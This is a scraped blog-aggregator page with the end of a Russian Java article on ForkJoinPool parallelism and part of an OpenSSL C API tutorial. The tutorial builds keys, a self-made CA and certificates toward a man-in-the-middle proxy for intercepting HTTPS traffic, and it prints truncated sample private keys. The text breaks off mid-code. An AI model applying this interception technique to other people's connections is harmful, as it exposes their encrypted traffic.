                   try {  // ignore exceptions in accessing/parsing properties
                       String pp = System.getProperty
                           ("java.util.concurrent.ForkJoinPool.common.parallelism");
                           if (pp != null)
                             parallelism = Integer.parseInt(pp);
                      } catch (Exception ignore) {
                   }
                   if (parallelism < 0 && // default 1 less than #cores
                       (parallelism = Runtime.getRuntime().availableProcessors() - 1) <= 0)
                       parallelism = 1;
                   if (parallelism > MAX_CAP)
                       parallelism = MAX_CAP;
                   return new ForkJoinPool(parallelism, factory, handler, LIFO_QUEUE,
                                           "ForkJoinPool.commonPool-worker-");
                }
                

                Из того же класса константа:
                static final int MAX_CAP      = 0x7fff;        // max #workers - 1


                Нас интересует parallelism, который отвечает за количество воркеров в пуле. По-умолчанию, размер пула равен Runtime.getRuntime().availableProcessors() — 1, то есть на 1 меньше, чем количество доступных ядер. Когда вы создаете кастомный FJPool, то можно установить желаемый уровень параллелизма через конструктор. А для commonPool можно задать уровень через параметры JVM:

                -Djava.util.concurrent.ForkJoinPool.common.parallelism=n

                Сверху свойство ограничено числом 32767 (0x7fff);

                Это может быть полезно, если вы не хотите отдавать все ядра под задачи ForkJoinPool, возможно, ваше приложение в обычном режиме утилизирует 4 из 8 CPU, тогда имеет смысл отдать под FJ оставшиеся 4 ядра.

                Появляется вопрос, почему количество воркеров на 1 меньше количества ядер. Ответ можно увидеть в документации к ForkJoinPool.java:

                When external threads submit to the common pool, they can
                * perform subtask processing (see externalHelpComplete and
                * related methods) upon joins. This caller-helps policy makes it
                * sensible to set common pool parallelism level to one (or more)
                * less than the total number of available cores, or even zero for
                * pure caller-runs


                То есть, когда некий тред отправляет задачу в common pool, то пул может использовать вызывающий тред (caller-thread) в качестве воркера. Вот почему в выводе программы мы видели main! Разгадка найдена, ForkJoinPool пытается загрузить своими задачами и вызывающий тред. В коде выше это main, но если вызовем код из другого треда, то увидим, что это работает и для произвольного потока:

                Thread t = new Thread(() -> {
                   parallel();
                }, "MyThread");
                
                t.start();
                t.join();
                


                Thread [ForkJoinPool.commonPool-worker-1] peek: 0
                Thread [MyThread] peek: 1
                Thread [ForkJoinPool.commonPool-worker-0] peek: 2
                sum: 3


                Теперь мы знаем немного больше об устройстве ForkJoinPool и parallel stream. Оказывается, что количество воркеров parallel stream ограничено и эти воркеры общего назначения, то есть могут быть использованы любыми другими задачами, которые запускаются на commonPool. Попробуем понять, чем это чревато для нас при разработке.

                Рассмотрим следующий код. Для наглядности запускаем с -Djava.util.concurrent.ForkJoinPool.common.parallelism=2, то есть для FJPool.commonPool доступны 2 воркера и вызывающий поток.

                final long ms = System.currentTimeMillis();
                ForkJoinPool commonPool = ForkJoinPool.commonPool();
                System.out.println("Parallelism: " + commonPool.getParallelism());
                IntStream.range(0, commonPool.getParallelism() + 1).forEach((it) -> commonPool.submit(() -> {
                   try {
                       System.out.printf("[%d sec] [%s]: #%d start()\n",
                               TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS),
                               Thread.currentThread().getName(), it);
                       TimeUnit.SECONDS.sleep(5);
                   } catch (Exception e) {e.printStackTrace();}
                   System.out.printf("[%d sec] [%s]: #%d finish()\n", TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS), Thread.currentThread().getName(), it);
                }));
                
                int result = IntStream.range(0, 3)
                       .parallel()
                       .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                       .sum();
                System.out.println("sum: " + result);
                commonPool.awaitTermination(100, TimeUnit.SECONDS);


                Parallelism: 2
                [0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
                Thread [main] peek: 1
                [0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
                Thread [main] peek: 2
                Thread [main] peek: 0
                sum: 3
                [0 sec] [main]: #2 start()
                [5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
                [5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
                [5 sec] [main]: #2 finish()


                В коде происходит следующее: мы пытаемся полностью занять пул, отправив туда parallelism + 1 задачу (то есть 3 штуки в данном случае). После этого запускаем параллельную обработку стрима из первого примера. По логам видно, что parallel стрим исполняется в один поток, так как все ресурсы пула исчерпаны. Не зная о такой особенности будет сложно понять, если в вашей программе вырастет время обработки какого то запроса через BaseStream::parallel.

                Что же делать, если вы хотите быть уверены, что ваш код действительно будет распараллелен? Есть решение, нужно запустить parallel() на кастомном пуле, для этого нам придётся немного модифицировать код из примера выше и запустить код обработки данных, как Runnable на кастомном FJPool:

                ForkJoinPool custom = new ForkJoinPool(2);
                custom.submit(() -> {
                           int result = IntStream.range(0, 3)
                                   .parallel()
                                   .peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
                                   .sum();
                           System.out.println("sum: " + result);
                       });


                Parallelism: 2
                [0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
                Thread [ForkJoinPool-1-worker-0] peek: 0
                Thread [ForkJoinPool-1-worker-1] peek: 1
                [0 sec] [main]: #2 start()
                [0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
                Thread [ForkJoinPool-1-worker-0] peek: 2
                sum: 3
                [5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
                [5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
                [5 sec] [main]: #2 finish()


                Окей, теперь мы добились своей цели и уверены, что наши вычисления под контролем и никто не может повлиять на них со стороны.

                Прежде чем применять любой, даже самый простой инструмент необходимо выяснить его особенности и ограничения. Для parallel stream таких особенностей много и необходимо учитывать, насколько ваша задача подходит для распараллеливания. Parallel stream хорошо работают, если операции независимы и не хранят состояние, источник данных может быть легко разделен на сегменты для параллельной обработки и задачу действительно имеет смысл выполнять параллельно. Помимо этого нужно учесть особенности реализации и убедиться, что для важных вычислений вы используете отдельный пул потоков, а не делите с общим пулом приложения.

                Вопросы и предложения, как всегда приветствуются, т.к. это является частью нашего курса по Java и нам интересно мнение по материалу.
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/338770/


                Метки:  

                [Перевод] Отзывы и комментарии к приложениям: как извлечь из них пользу и узнать про своих пользоветелей

                Вторник, 26 Сентября 2017 г. 17:52 + в цитатник

                Делаем MitM с помощью openssl на Android

                Вторник, 26 Сентября 2017 г. 16:41 + в цитатник
                Last_angel вчера в 16:41 Разработка

                Делаем MitM с помощью openssl на Android

                  image


                  Мотивация


                  В русскоязычном интернете трудно найти информацию об API-библиотеке OpenSSL. Большое внимание уделяется использованию консольных команд для манипуляции с самоподписанными сертификатами для веб-серверов или OpenVPN-серверов.


                  Такой подход хорош, когда нужно сделать пару сертификатов в час. А если потребуется создать сразу пару сотен за минуту? Или писать скрипт и разбирать вывод из консоли? А если в процессе произошла ошибка?


                  При использовании API генерация сертификатов, проверка валидности и подпись выполняются гораздо проще. Появляется возможность контролировать и обрабатывать ошибки на всех этапах работы, а также указывать дополнительные параметры сертификата (поскольку не все параметры можно задавать из консоли) и производить тонкую настройку.


                  Отдельно стоит отметить сетевую составляющую. Если сертификат есть и просто лежит на диске, он бесполезен.


                  К сожалению, очень мало русской документации по вопросу организации SSL-сервера, по тому, как организовать SSL-клиент для получения данных. Официальная документация не настолько полна и хороша, чтобы можно было сразу включиться в работу с библиотекой. Не все функции описаны подробно, приходится экспериментировать с параметрами, с тем, в какой последовательности и что именно нужно очищать, а что библиотека удалит самостоятельно.


                  Данная статья — компиляция моего опыта по работе с библиотекой OpenSSL при реализации клиент-серверного приложения. Описанные в ней функции будут работать как на десктопе, так и на Android-устройствах. К статье прилагается репозиторий с кодом на C/C++ для того, чтобы вы могли увидеть работу описываемых функций.


                  Цель


                  При изучении новой библиотеки или технологии я стараюсь решать проблемы с помощью нового функционала. В данном случае попробуем сделать MITM
                  для перехвата трафика к HTTPS-серверу.


                  Сформируем требования к программе:
                  Ожидать подключения по порту (SSL-сервер)
                  При появлении входящего подключения:


                  • Подключиться к HTTPS-серверу
                  • Прочитать запрос клиента к серверу
                  • Передать прочитанные от клиента данные серверу
                  • Прочитать ответ сервера
                  • Передать ответ сервера клиенту
                  • Сбросить соединения

                  Так как у нас будет SSL-сервер, нам понадобятся сертификат удостоверяющего центра и сертификат для нашего сервера.
                  Пусть эти данные будут генерироваться нашей программой, а сертификат CA будет выгружаться в файл в рабочей папке программы.


                  Разработка будет вестись на Ubuntu, прочий инструментарий: компилятор GCC 5.4.0, OpenSSL 1.0.2, curl 7.52.1, CMake 3.8.1 (единственный не из пакетов).


                  Для отправки запросов к нашему приложению будем использовать curl из консоли. Поскольку нам нужно указать CA-сертификат, команда будет выглядеть так:


                  curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"

                  Указание заголовка Host требуется для того, чтобы curl корректно составил HTTP-запрос. Без этого сервер ответит ошибкой.


                  Начало и завершение работы


                  Для работы с библиотекой OpenSSL ее нужно инициализировать. Используйте следующий код:


                  #include bio.h>
                  #include ssl.h>
                  #include err.h>
                  ...
                  void InitOpenSSL()
                  {
                      OpenSSL_add_all_algorithms();
                      ERR_load_BIO_strings();
                      ERR_load_crypto_strings();
                      SSL_load_error_strings();
                      SSL_library_init();
                  }

                  Перед завершением приложения следует провести очистку библиотеки, для этого можно использовать следующий код:


                  void ClearOpenSSL()
                  {
                      EVP_cleanup();
                      CRYPTO_cleanup_all_ex_data();
                      ERR_remove_thread_state(NULL);
                      ERR_free_strings();
                  }

                  Контекст


                  Большинство операций библиотеки OpenSSL требуют наличия контекста. Эта структура, которая хранит используемые алгоритмы, их параметры и прочие данные. Она создается с помощью функции:


                  SSL_CTX *SSL_CTX_new(const SSL_METHOD *method);

                  Список методов, которые можно передать в эту функцию, довольно обширен, но документация говорит нам, что нужно использовать SSLv23_server_method() для сервера и SSLv23_client_method() для клиента.


                  При этом библиотека автоматически выберет максимально безопасный протокол, поддерживаемый клиентом и сервером.


                  Вот пример создания контекста для клиента:


                  SSL_CTX *ctx = NULL;
                  
                  ctx = SSL_CTX_new(SSLv23_client_method());
                  if (ctx == NULL)
                  {
                      //Обработка ошибок
                  }

                  Для корректного удаления контекста следует использовать функцию SSL_CTX_free.


                  Мне не очень нравится использовать SSL_CTX_free каждый раз, когда контекст необходимо удалить. Можно использовать умные указатели с указанием функции удаления или обернуть структуру в класс RAII:


                  std::shared_ptr m_ctx(ctx, SSL_CTX_free);

                  Работа с ошибками


                  Большинство функций библиотеки OpenSSL возвращают 1 как признак успешного выполнения. Вот обычный код с проверкой на возникновение ошибки:


                  if (SSL_CTX_load_verify_locations(ctx, fileName, NULL) != 1)
                  {
                      //Обработка ошибки
                  }

                  Однако иногда этого недостаточно, а иногда необходимо более подробное описание проблемы. Для этого OpenSSL использует в каждом потоке отдельную очередь сообщений. Чтобы извлечь код ошибки из очереди, следует использовать функцию ERR_get_error().


                  Сам по себе код ошибки не очень понятен пользователю, поэтому можно использовать функцию ERR_error_string для получения строкового представления о коде ошибки. Если функция возвращает 0, это значит, что ошибки нет.


                  Вот пример получения строки с описанием ошибки по коду ошибки:


                  #include err.h>
                  
                  ...
                  //Вызов каких-либо функций библиотеки OpenSSL
                  std::cerr << ERR_error_string(ERR_get_error(), NULL) << std::endl;
                  ...

                  Второй параметр функции ERR_error_string — это указатель на буфер, который должен быть не менее 120 символов длиной. Если его не указать, то будет использоваться статический буфер, который перезаписывается при каждом вызове этой функции.


                  Стоит отметить, что для каждого отдельного потока создается отдельная очередь сообщений об ошибке.


                  Ключи


                  Теперь чтобы организовать OpenSSL-сервер, нам потребуется создать сертификат удостоверяющего центра и сертификат сервера. Для каждого из них нам нужно создать ключи для подписи.


                  Создание


                  Для хранения пары закрытый/открытый ключ в OpenSSL используется структура EVP_PKEY. Данная структура создается следующим образом:


                  EVP_PKEY *pkey = NULL;
                  
                  pkey = EVP_PKEY_new();
                  if (pkey == NULL)
                  {   
                      //Обработка ошибки     
                  }

                  Подробнее о EVP можно прочитать здесь.


                  Обратная для EVP_PKEY_new функция EVP_PKEY_free освобождает память и удаляет структуру EVP_PKEY.


                  Теперь необходимо подготовить BIGNUM структуру для генерации RSA (подробнее об этой структуре можно узнать здесь):


                  BIGNUM *big = NULL;
                  big = BN_new();
                  if (big == NULL)
                  {
                      //Обработка ошибки
                  }
                  else if (BN_set_word(big, RSA_F4) != 1)
                  {
                      //Обработка ошибки
                      BN_free(big);
                  }

                  Функция BN_set_word устанавливает размер для структуры BIGNUM. Допустимыми являются значения RSA_3 и RSA_F4, последний — предпочтительнее.


                  Настал черед для генерации ключей. Для этого нужно создать структуру RSA:


                  RSA *rsa = NULL;
                  rsa = RSA_new();
                  if (rsa == NULL)
                  {
                      //Обработка ошибки
                  }

                  Теперь сама генерация ключей:


                  if (RSA_generate_key_ex(rsa, 4096, big, NULL) != 1)
                  {
                      //Обработка ошибки
                  }

                  4096 это размер ключа, который мы хотим получить.


                  Заканчиваем генерацию ключей записью новых ключей в структуру EVP_PKEY:


                  if (EVP_PKEY_assign_RSA(pkey, rsa) !=1)
                  {
                      //Обработка ошибки
                  }

                  PEM-формат


                  PEM — достаточно простой формат для хранения ключей и сертификатов. Он представляет собой текстовый файл, в котором последовательно хранятся записи вида:


                  -----BEGIN RSA PRIVATE KEY-----
                  MIIJJwIBAAKCAgEAvNwgYmIyfvY6IsVZwRCkAHTOhwE3Rp/uNcUoTcPl5atOwPVW
                  JLY3odYmILsa8se7B/aNNzO7AlvXwlzxinQ3AF7l37LqGzf8v16TFVN4kit8vrq0
                  V9bBXHpiWH+YQT4gBVmSkwqEMZ/wQlUOIxz4Q2M7cXRu4fRe3rt3kGHCPJ66Ybax
                  yEp6nfdK8IKsyxqAXjBkqfC5rkdw2n7UAd/OnPRCDowyvythDb8jR1LkbJjlIatK
                  ....
                  yajhmBDpS11hzuWHhDmpjbrV79OMRzKQAWBKRubObtGIsFB2CzbabusV+oq/Y78y
                  OxriZYqoRv3WB5GH/pPO9w1ptveddLU33NVBSRfFS1jyqyj/1CqXlE4gcQ==
                  -----END RSA PRIVATE KEY-----
                  -----BEGIN CERTIFICATE-----
                  MIIFkTCCA3mgAwIBAgIJAMPIqA2oVd/SMA0GCSqGSIb3DQEBCwUAMF8xCzAJBgNV
                  BAYTAlJVMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcMBk1vc2NvdzEUMBIGA1UE
                  ...
                  bt9NHGnCxYcParG+YqU5UTUrCUGUfnZhJAX+qkgsVSC5c81Tk0VXTQx3EiEvdzV+
                  wUX9LMRLIxjy1D5AO6a29LkzNAvw+iFm36VO+ssdkJW4Q6MAYA==
                  -----END CERTIFICATE-----

                  Тут стоит отметить, что количество символов ----- в начале заголовка и в конце, а также в закрывающей строке должно быть одинаковым.


                  Более подробно этот формат описан тут:
                  RFC1421 Part I: Message Encryption and Authentication Procedures
                  RFC1422 Part II: Certificate-Based Key Management
                  RFC1423 Part III: Algorithms, Modes, and Identifiers
                  RFC1424 Part IV: Key Certification and Related Services


                  Запись ключей в PEM-формате


                  Допустим, у нас есть пара открытый/закрытый ключ в структуре EVP_PKEY, тогда для записи их в файл следует использовать функции PEM_write_PrivateKey и PEM_write_PUBKEY.


                  Вот пример использования этих функций:


                  FILE *f = fopen("server.pem", "wb");
                  if (!PEM_write_PrivateKey(f, key, NULL, NULL, 0, 0, NULL))
                  {
                      //Обработка ошибки
                      fclose(f);
                  }
                  else if (!PEM_write_PUBKEY(f, key))
                  {
                      //Обработка ошибки
                      fclose(f);
                  }
                  fclose(f);

                  Стоит дать некоторые пояснения относительно функции


                  int PEM_write_PrivateKey(FILE *fp, EVP_PKEY *x, const EVP_CIPHER *enc, unsigned char *kstr, int klen, pem_password_cb *cb, void *u);

                  , где const EVP_CIPHER *enc — это указатель на алгоритм шифрования для шифрования закрытого ключа перед его сохранением.
                  Например, EVP_aes_256_cbc() значит "AES with a 256-bit key in CBC".


                  Алгоритмов шифрования очень много, и всегда можно
                  подобрать что-то по душе. Соответствующие определения можно найти в openssl/evp.h.
                  unsigned char *kstr ожидает получить указатель на строку с паролем для шифрования ключа, а int klen — длину этой строки.


                  Если заданы kstr и klen, то параметры cb и u игнорируются, где:— cb — это указатель на функцию вида:


                  int cb(char *buf, int size, int rwflag, void *u);

                  — buf — указатель на буфер для записи пароля
                  — size — максимальный размер пароля (т.е. размер буфера)
                  — rwflag равен 0 при чтении и 1 при записи


                  Результат выполнения функции — длина пароля или 0 в случае возникновения ошибки.


                  Параметр void *u для обеих функций используется для передачи дополнительных данных. Например, как указатель на окно для GUI приложения.


                  Загрузка ключей из PEM-файла


                  Загрузка ключей происходит при помощи функций PEM_read_PrivateKey и PEM_read_PUBKEY. Обе функции имеют одинаковые параметры и возвращаемое значение:


                  EVP_PKEY *PEM_read_PUBKEY(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);
                  EVP_PKEY *PEM_read_PrivateKey(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);

                  где:
                  FILE *fp — открытый для чтения файловый дескриптор
                  EVP_PKEY **x — структура, которая должна быть перезаписана
                  pem_password_cb *cb — функция для получения пароля расшифровки ключа
                  void *u — строка с паролем ключа, завершающаяся \0


                  Вот пример функции для получения пароля для расшифровки ключа:


                  int pass_cb(char *buf, int size, int rwflag, void *u)
                  {
                      int len;
                      char *tmp;
                  
                      if (rwflag == 1)
                          std::cout << "Введите пароль для " << (char*)u << ": ";
                      else
                          std::cout << "Введите пароль для загрузки ключа: ";
                      std::string pass;
                  
                      std::cin >> pass;
                      if (pass.empty() || pass.length() <=0)
                          return 0;
                  
                      len = pass.length();
                  
                      if (len > size) 
                      len = size;
                  
                      memcpy(buf, pass.c_str(), len);
                      return len;
                  }

                  Вот пример того, как можно загрузить не зашифрованный закрытый ключ из файла:


                  FILE *f = NULL;
                  f = fopen(fileName.c_str(), "rb");
                  if (f == NULL)
                  {
                      //Обработка ошибки
                  }
                  
                  EVP_PKEY *key = NULL;
                  key = PEM_read_PrivateKey(f, NULL, NULL, NULL);
                  if (key == NULL)
                  {
                     //Обработка ошибки
                  }
                  fclose(f);

                  Загрузка ключей из памяти


                  Иногда бывает удобно хранить ключ или сертификат как константу в программе. Для таких случаев можно использовать структуру типа BIO. Эта структура и связанные с ней функции повторяют функционал ввода-вывода для FILE.


                  Вот так можно загрузить ключ из памяти:


                  const char *key = "-----BEGIN RSA PRIVATE KEY-----\n"
                      "MIIJKAIBAAKCAgEA40vjOGzVpuJv+wIfNBQSr9U/EeRyvSy/L6Idwh799LOPIwjF\n"
                      .....
                      "zkxvkGMPBY3BcSPjipuydWTt8xE8MOe0SmEcytHZ/DifwF9qyToDlTFOUN8=\n"
                      "-----END RSA PRIVATE KEY-----";
                  
                  BIO *buf = NULL;
                  buf = BIO_new_mem_buf(key, -1);
                  if (buf == NULL)
                  {
                      //Обработка ошибки        
                  }
                  
                  EVP_PKEY *pkey = NULL;
                  pkey = PEM_read_bio_PrivateKey(buf, NULL, NULL, NULL);
                  if (pkey == NULL)
                  {
                      //Обработка ошибки
                  }

                  Запрос сертификата


                  Теперь, когда мы умеем создавать ключи, посмотрим, как создавать сертификаты. Сертификаты могут быть самоподписанными или иметь подпись удостоверяющего центра. Для получения сертификата, подписанного удостоверяющим центром, требуется создать запрос сертификата (CSR) и отправить его удостоверяющему центру. В ответ он пришлет подписанный сертификат.


                  В том случае, когда мы хотим создать самоподписанный сертификат или сертификат для собственного удостоверяющего центра, CSR создавать не нужно, можно сразу переходить к разделу Сертификаты.


                  Создание


                  Certificate Signing Request (CSR) — это сообщение или запрос, который создатель сертификата посылает удостоверяющему центру (CA) и который содержит в себе информацию о публичном ключе, стране выпуска, а также цифровую подпись создателя.


                  Для создания CSR нам понадобится ключ EVP_PKEY, созданный ранее. Все начинается с выделения памяти под структуру CSR:


                  X509_REQ *req = NULL;
                  req = X509_REQ_new();
                  if (req == NULL)
                  {
                      //Обработка ошибки
                  }

                  Обратной функцией к X509_REQ_new является X509_REQ_free.


                  Теперь нужно задать версию сертификата. В данном случае версия равна 2:


                  if (X509_REQ_set_version(req, 2) != 1)
                  {
                      //Обработка ошибки
                      X509_REQ_free(req);
                  }

                  По стандарту X.509 эта версия должна быть на единицу меньше версии сертификата. Т.е. для версии сертификата 3 следует использовать число 2.


                  Теперь будем задавать данные создателя запроса. Будем использовать следующие поля:


                  С — двухбуквенный код страны, например RU
                  ST — область, в нашем случае Moscow
                  L — город, снова Moscow
                  O — организация, например Taigasystem
                  CN — доменное имя, для нас будет taigasystem.com


                  Вот так эти поля задаются в запрос:


                  X509_NAME *name = X509_REQ_get_subject_name(req);
                  if (X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (const unsigned char *)"RU", -1, -1, 0) != 1)
                  {
                      //Обработка ошибки
                      X509_REQ_free(req);
                  }
                  
                  if (X509_NAME_add_entry_by_txt(name, "ST", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
                  {
                      //Обработка ошибки
                  }
                  
                  if (X509_NAME_add_entry_by_txt(name, "L", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
                  {
                      //Обработка ошибки
                  }
                  
                  if (X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (const unsigned char *)"Taigasystem", -1, -1, 0) != 1)
                  {
                      //Обработка ошибки
                  }
                  
                  if (X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char *)"taigasystem.com", -1, -1, 0) != 1)
                  {
                      //Обработка ошибки
                  }

                  Заметим, что сначала мы получаем структуру X509_NAME из структуры CSR запроса и задаем значения для нее.


                  Теперь нужно задать публичный ключ для этого запроса:


                  if (X509_REQ_set_pubkey(req, key) != 1)
                  {
                      //Обработка ошибки
                  }

                  Последний штрих — подпись запроса:


                  if (X509_REQ_sign(req, key, EVP_sha256()) <= 0)
                  {
                      //Обработка ошибки
                  }

                  В отличие от других функций OpenSSL, X509_REQ_sign возвращает
                  размер подписи в байтах, а не 1, при успешном завершении, и 0 — в случае ошибки.


                  Теперь запрос сертификата готов.


                  Сохранение CSR в файл


                  Сохранить CSR в файл довольно просто. Необходимо открыть файл, а затем — вызвать функцию PEM_write_X509_REQ:


                  FILE *f = NULL;
                  f = fopen("server.csr", "wb");
                  if (PEM_write_X509_REQ(f, csr) != 1)
                  {
                      //Обработка ошибки
                      fclose(f);
                  }
                  fclose(f);

                  В результате мы получим такой текст в файле server.csr:


                  -----BEGIN CERTIFICATE REQUEST-----
                  MIICnzCCAYcCAQEwWjELMAkGA1UEBhMCUlUxDzANBgNVBAgMBlJ1c3NpYTEPMA0G
                  ...
                  fbzFJ6EM00mbyr472lEXZpvdZgBCfxpkNDyp9nsiIQf0EyC05MgufOAKDT/fGQfa
                  4gWK
                  -----END CERTIFICATE REQUEST-----
                  

                  Загрузка CSR из файла


                  Для загрузки CSR следует использовать функции:


                  X509_REQ *PEM_read_X509_REQ(FILE *fp, X509_REQ **x, pem_password_cb *cb, void *u);
                  X509_REQ *PEM_read_bio_X509_REQ(BIO *bp, X509_REQ **x, pem_password_cb *cb, void *u);

                  Первая загружает CSR из файла, вторая позволяет загрузить CSR из памяти.


                  Параметры данных функция аналогичны загрузке ключей из PEM-файла, за
                  исключением pem_password_cb и u, которые игнорируются.


                  Сертификаты


                  X.509 сертификат


                  X.509 — это одна из вариаций языка ASN.1, стандартизованная в rfc2459.


                  Более подробно о формате X.509 можно прочитать здесь и здесь.


                  Генерация сертификата без CSR


                  Можно сгенерировать сертификат без использования CSR. Это пригодится для создания CA.


                  Для генерации сертификата без CSR нам понадобится пара открытый/закрытый ключ в структуре EVP_PKEY. Начинаем с выделения памяти под структуру сертификата:


                  X509 *x509 = X509_new();
                  if (!x509)
                      //Обработка ошибки

                  Обратной для X509_new является X509_free.


                  Сертификат создается точно так же, как и CSR-запрос, с одной лишь разницей — помимо версии и данных издателя, требуется задать серийный номер сертификата.


                  Также нужно использовать другие функции для доступа к данным сертификата:
                  X509_set_version вместо X509_REQ_set_version
                  X509_get_subject_name вместо X509_REQ_get_subject_name
                  X509_set_pubkey вместо X509_REQ_set_pubkey
                  X509_sign вместо X509_REQ_sign


                  Таким образом отличить по именам, для каких объектов предназначены те или иные функции, становится довольно просто.


                  Теперь можно установить серийный номер сертификата:


                  ASN1_INTEGER *aserial = NULL;
                  aserial = M_ASN1_INTEGER_new();
                  ASN1_INTEGER_set(aserial, 1);
                  if (X509_set_serialNumber(x509, aserial) != 1)
                  {
                      //Обработка ошибки
                  }

                  Для каждого нового сертификата необходимо создавать новый серийный номер.


                  Теперь пришло время установить время жизни сертификата. Для этого устанавливается два параметра — начало и конец жизни сертификата:


                  if (!(X509_gmtime_adj(X509_get_notBefore(cert), 0)))
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }
                  
                  // 31536000 * 3 = 3 year valid period
                  if (!(X509_gmtime_adj(X509_get_notAfter(cert), 31536000 * 3)))
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }

                  Началом жизни сертификата будет момент его выпуска — значение 0 для функции X509_get_notBefore. Конец жизни сертификата задается функцией X509_get_notAfter.


                  Последний штрих — подпись сертификата при помощи закрытого ключа:


                  EVP_PKEY *key; // Not null
                  
                  if (X509_sign(cert, key, EVP_sha256()) <=0)
                  {
                      long e = ERR_get_error();
                      if (e != 0)
                      {
                          //Обработка ошибки
                          X509_free(cert);
                      }
                  }

                  Здесь есть интересная особенность: функция X509_sign возвращает размер подписи в байтах, если все прошло успешно, и 0 — в случае ошибки. Иногда функция возвращает ноль, даже если ошибки нет. Поэтому здесь приходится вводить дополнительную проверку на ошибку.


                  Генерация сертификата с CSR


                  Для генерации сертификата по CSR нам нужен закрытый ключ CA для подписи сертификата, сертификат CA для задания данных издателя и сам CSR-запрос.


                  Создание самого сертификата и установка версии и номера такие же, как и для сертификата без CSR. Разница появляется, когда нужно извлечь данные издателя из CSR-запроса и установить их в сертификат:


                  X509_REQ *csr; //not null
                  
                  X509_NAME *name = NULL;
                  name = X509_REQ_get_subject_name(csr);
                  if (name == NULL)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }
                  
                  if (X509_set_subject_name(cert, name) != 1)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }

                  После этого нужно уставить данные издателя сертификата. Для этого требуется сертификат CA:


                  X509 *CAcert; //not null
                  
                  name = X509_get_subject_name(CAcert);
                  if (name == NULL)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }
                  
                  if (X509_set_issuer_name(cert, name) != 1)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }

                  Видно, что данные из CSR мы устанавливаем при помощи X509_set_subject_name, а данные CA — при помощи X509_set_issuer_name.


                  Следующий шаг — необходимо получить открытый ключ из CSR и установить его в новый сертификат.
                  Помимо установки ключа можно сразу проверить, был ли подписан CSR данным ключом:


                  // Get pub key from CSR
                  EVP_PKEY *csr_key = NULL;
                  csr_key = X509_REQ_get_pubkey(csr);
                  if (csr_key == NULL)
                  {
                      //Обработка ошибки
                  }
                  
                  // Verify CSR
                  if (X509_REQ_verify(csr, csr_key) !=1)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }
                  
                  // Set pub key to new cert
                  if (X509_set_pubkey(cert, csr_key) != 1)
                  {
                      //Обработка ошибки
                      X509_free(cert);
                  }

                  Теперь можно установить серийный номер сертификата:


                  ASN1_INTEGER *aserial = NULL;
                  aserial = M_ASN1_INTEGER_new();
                  ASN1_INTEGER_set(aserial, 1);
                  if (X509_set_serialNumber(cert, aserial) != 1)
                  {
                      //Обработка ошибки
                  }

                  Последний штрих — следует подписать сертификат при помощи закрытого ключа CA:


                  EVP_PKEY *CAkey; // Not null
                  if (X509_sign(cert, CAkey, EVP_sha256()) <=0)
                  {
                      long e = ERR_get_error();
                      if (e != 0)
                      {
                          //Обработка ошибки
                          X509_free(cert);
                      }
                  }

                  После подписи наш новый сертификат готов.


                  Сохранение X.509 сертификата


                  Сохранение происходит довольно просто:


                  X509 *cert;
                  ...
                  FILE *f = NULL;
                  f = fopen("server.crt", "wb");
                  if (!PEM_write_X509(f, cert))
                  {
                      //Обработка ошибки
                      fclose(f);
                  }
                  fclose(f);

                  Загрузка X.509 сертификата


                  Загрузка происходит при помощи двух функций:


                  X509 *PEM_read_X509(FILE *fp, X509 **x, pem_password_cb *cb, void *u);
                  X509 *PEM_read_bio_X509(BIO *bp, X509 **x, pem_password_cb *cb, void *u);

                  Параметры описаны выше.


                  Сетевая часть


                  Клиент


                  Подключение к хосту при помощи SSL-сокетов не очень отличается от обычного TCP-подключения.


                  Сначала нужно создать TCP-подключение к серверу:


                  //Попробуем получить IP для хоста
                  struct hostent *ip = nullptr;
                  ip = gethostbyname(host.c_str());
                  if (ip == nullptr)
                  {
                      //Обработка ошибки
                  }
                  
                  //Создаем сокет
                  int sock = socket(AF_INET, SOCK_STREAM, 0);
                  if (sock == -1)
                  {
                      //Обработка ошибки
                  }
                  
                  struct sockaddr_in dest_addr;
                  memset(&dest_addr, 0, sizeof(struct sockaddr_in));
                  dest_addr.sin_family      = AF_INET;
                  dest_addr.sin_port        = htons(port);
                  dest_addr.sin_addr.s_addr = *(long *)(ip->h_addr);
                  
                  //Подключаемся:
                  if (connect(sock, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1)
                  {
                      //Подключиться не удалось 
                  }

                  Теперь нужно создать клиентский SSL-контекст:


                  const SSL_METHOD *method = SSLv23_client_method();
                  
                  SSL_CTX *ctx = NULL;
                  ctx = SSL_CTX_new(method);
                  
                  if (ctx == NULL)
                      //Обработка ошибки

                  Теперь нужно установить полученный сокет в SSL-структуру. Она получается из контекста:


                  SSL *ssl = SSL_new(ctx);
                  if (ssl == NULL)
                  {
                      //Обработка ошибки
